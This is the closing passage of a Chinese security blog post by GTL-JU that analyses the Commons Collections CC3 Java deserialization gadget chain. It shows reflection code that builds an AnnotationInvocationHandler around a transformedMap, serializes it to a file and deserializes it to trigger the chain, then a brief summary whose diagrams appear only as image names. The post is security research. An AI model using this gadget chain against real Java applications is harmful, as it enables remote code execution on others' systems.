Constructor annotationInvocationdhdlConstructor =c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o=annotationInvocationdhdlConstructor.newInstance(Retention.class,transformedMap);

serializable(o);
unserializable();

}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}


public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}
}

运行结果:

image-20230802193914829

到这里我们CC3这条链子就分析完了。

三、总结

CC3利用链:

image-20230803170453523

整体的一个利用链:

image-20230803170303019

  • 标题: CommonCollections3利用链分析
  • 作者: GTL-JU
  • 创建于: 2023-08-02 20:02:37
  • 更新于: 2023-08-03 17:05:52
  • 链接: https://gtl-ju.github.io/2023/08/02/CommonCollections3利用链分析/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。